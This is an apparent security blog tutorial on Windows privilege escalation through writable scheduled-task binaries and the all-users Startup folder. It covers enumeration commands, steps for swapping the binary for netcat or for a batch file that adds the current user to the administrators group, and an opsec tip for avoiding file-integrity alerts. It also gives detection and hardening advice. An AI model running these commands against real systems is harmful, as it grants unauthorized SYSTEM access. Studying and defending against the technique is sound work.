Scheduled Task and Startup Folder Privilege Escalation

Scheduled Task and Startup Folder Privilege Escalation - article cover image Windows Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Windows Task Scheduler and the various Startup/Run locations are execution primitives: they tell the OS “run this binary, as this user, on this trigger.” That is exactly the shape of a privilege-escalation bug when the *binary* or its *containing directory* is writable by an account with lower privileges than the account the task or logon script runs as. A task registered to run as SYSTEM, NT AUTHORITY\SYSTEM, or a privileged service account effectively delegates its trust to whoever can last write to the file it launches — and on real hosts, third-party installers, in-house deployment tooling, and legacy migrations routinely leave that file world-writable.

This class of bug is attractive on engagements because it requires no memory-corruption exploit and no credential theft — only a misconfigured ACL and patience (or a way to force the trigger). It shows up constantly in OSCP-style boxes and in real enterprise builds where golden images bake in a scheduled task pointing at C:\ProgramData\<Vendor>\ or C:\Tools\ with permissive BUILTIN\Users ACLs inherited from the parent directory. The impact is a direct jump from a low-privilege shell to SYSTEM or the task’s run-as account, with no additional exploitation needed once the file is overwritten.

Attack Prerequisites

The attacker needs, at minimum, a foothold that can write files and enumerate the target host’s task/startup configuration. Escalation requires one of the following to be true:

  • A scheduled task’s action binary, script, or containing folder is writable by the current user or a group the current user belongs to (Everyone, BUILTIN\Users, Authenticated Users).
  • The task runs as a higher-privileged principalSYSTEM, NT AUTHORITY\NETWORK SERVICE, or a privileged domain/service account — so replacing the binary changes *who* executes attacker code.
  • A trigger the attacker can wait for or force — logon, boot, an interval schedule, or (if the attacker has SeCreateTask/task-modify rights) schtasks /run directly.
  • For the Startup-folder variant: write access to the all-users Startup folder (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp) or to another, more-privileged user’s per-user Startup folder, plus an eventual interactive logon by that user.

How It Works

Task Scheduler stores each task as an XML definition under C:\Windows\System32\Tasks\<name> and mirrors its metadata in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache. The XML’s <Actions> element specifies a <Command> (the executable or script interpreter) and optional <Arguments>, and the <Principal> element specifies the run-as account and, critically, the run level (LeastPrivilege or HighestAvailable). When the trigger fires, the Task Scheduler service — which itself runs as SYSTEM — spawns the command as the configured principal. Task Scheduler enforces no integrity check on the target file at execution time beyond normal filesystem ACLs: whatever bytes are at that path when the trigger fires, gets executed as that principal.

The same trust model applies to the legacy Startup mechanisms: the all-users Startup folder, the per-user Startup folder, and the Run/RunOnce registry keys under HKLM\...\CurrentVersion\Run are all read by explorer.exe (or winlogon) at the *next interactive logon of whichever user’s context that path belongs to*. Because the all-users Startup folder fires for every account that logs on interactively — including administrators and helpdesk accounts using the box — write access to it is functionally equivalent to a task configured to run as whoever logs on next, without needing to know in advance who that will be.

The privilege-escalation vector is therefore not in Task Scheduler or Explorer themselves — both behave exactly as designed — but in the *inherited ACLs* of the directories these mechanisms point at. Installers that create C:\ProgramData\<App>\ without explicitly hardening the DACL inherit the default ProgramData permissions in some configurations, or an administrator manually icacls-grants Users:(F) while troubleshooting and never reverts it. Either way, the attacker’s write primitive on disk becomes a code-execution primitive under a different, more privileged token the moment the trigger fires.

Vulnerable Code / Configuration

A scheduled task created to run an updater as SYSTEM, with its target directory left writable by BUILTIN\Users:

C:\> schtasks /create /tn "VendorUpdater" /tr "C:\ProgramData\Vendor\updater.exe" /sc onlogon /ru SYSTEM /rl highest /f
SUCCESS: The scheduled task "VendorUpdater" has successfully been created.
TEXT

The bug is in the ACL on the folder that the task action points at, not in the schtasks command itself. icacls on the target confirms the over-permissive inheritance left by the installer:

C:\> icacls C:\ProgramData\Vendor
C:\ProgramData\Vendor NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                        BUILTIN\Administrators:(OI)(CI)(F)
                        BUILTIN\Users:(OI)(CI)(F)          <-- the bug
                        CREATOR OWNER:(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files.
TEXT

The Startup-folder equivalent is a directory ACL problem too — here the all-users Startup folder has an inherited Users:(F) entry left over from a misapplied group policy or manual troubleshooting step, letting any authenticated user drop a payload that runs in the context of the next interactive logon, admin or not:

C:\> icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
...\StartUp BUILTIN\Users:(F)   <-- any authenticated user can write here
...\StartUp BUILTIN\Administrators:(F)
TEXT

Walkthrough / Exploitation

Enumerate scheduled tasks and their run-as accounts from a low-privilege shell to find high-value targets:

schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"
PowerShell

For each candidate, confirm write access on the action binary and its parent directory. icacls is sufficient, but Sysinternals accesschk answers the question directly across many paths at once and is the faster tool during recon:

icacls "C:\ProgramData\Vendor\updater.exe"
accesschk64.exe -accepteula -quvw "C:\ProgramData\Vendor" -s
# PowerUp.ps1 automates the same search across all registered tasks:
Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile
PowerShell

With write access confirmed, replace the target binary with a payload — a reverse shell, or simply an account-management one-liner if console access is not needed:

copy /y nc64.exe C:\ProgramData\Vendor\updater.exe
# or, no external binary needed:
echo net localgroup administrators lowpriv /add > C:\ProgramData\Vendor\updater.bat
ren C:\ProgramData\Vendor\updater.exe updater.exe.bak
copy updater.bat C:\ProgramData\Vendor\updater.exe
PowerShell

Force the trigger if the current privilege level allows running the task directly, otherwise wait for the natural trigger (logon, boot, schedule):

schtasks /run /tn "VendorUpdater"
# confirm elevation once the payload fires
whoami
PowerShell

The Startup-folder route is simpler and needs no task-run rights at all — drop a payload into the writable all-users Startup folder and wait for any administrator to log on interactively (RDP, console, or a scheduled helpdesk session all count):

copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\update.exe"
PowerShell

Note: Task run levels matter: a task with <RunLevel>HighestAvailable</RunLevel> running as a standard user only elevates if that user is an administrator with UAC still able to auto-approve — it does not itself grant SYSTEM. Always confirm the <Principal><UserId> value, not just the run level, before assuming the payoff is SYSTEM.

Opsec: Overwriting a legitimate binary in place is noisy if the vendor process is monitored for hash/version drift. Where possible, rename the original aside instead of deleting it, and restore it after harvesting the shell to reduce the chance of a file-integrity alert or a broken production updater drawing attention mid-engagement.

Detection and Defense

Both variants come down to filesystem ACL hygiene plus auditing who creates or modifies execution triggers:

  • Harden ACLs on task and startup targets — task binaries and their parent folders should be writable only by administrators/SYSTEM, never by Users, Authenticated Users, or Everyone. Audit installers’ default ACLs, especially anything dropped under C:\ProgramData.
  • Run tasks under least privilege — avoid SYSTEM for tasks that only need standard-user rights; use a dedicated low-privilege service account with a locked-down profile instead.
  • Audit task creation/modification — enable the “Audit Other Object Access Events” subcategory to capture Security log Event ID 4698 (task created), 4699 (deleted), 4700/4701 (enabled/disabled), and 4702 (updated).
  • Restrict task management rights — only administrators should hold SeCreateTask-equivalent rights or membership allowing schtasks /create, /change, or /run against tasks they do not own.
  • Monitor Startup locations — file-creation alerts (Sysmon Event ID 11) on the all-users Startup folder and the Run/RunOnce registry keys catch this technique regardless of which task it rides in on.

Real-World Impact

Writable scheduled-task and startup paths are one of the most consistently found local privilege-escalation vectors in both CTF/OSCP-style labs and real internal penetration tests, because golden images and third-party installers regularly leave ProgramData subfolders with inherited, over-broad ACLs. Enumeration tools such as WinPEAS, PowerUp, and Seatbelt all ship dedicated checks for exactly this pattern (Get-ModifiableScheduledTaskFile, unquoted/writable service and task paths) precisely because it recurs so often across unrelated environments and vendors.

Conclusion

Scheduled tasks and startup entries are trust delegated to a file path; if that path is not equally trusted, the delegation is worthless. Locking down the ACLs on every binary and directory a privileged trigger points at — and auditing who is allowed to create or modify those triggers in the first place — closes off one of the simplest and most common routes from a standard shell to SYSTEM.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL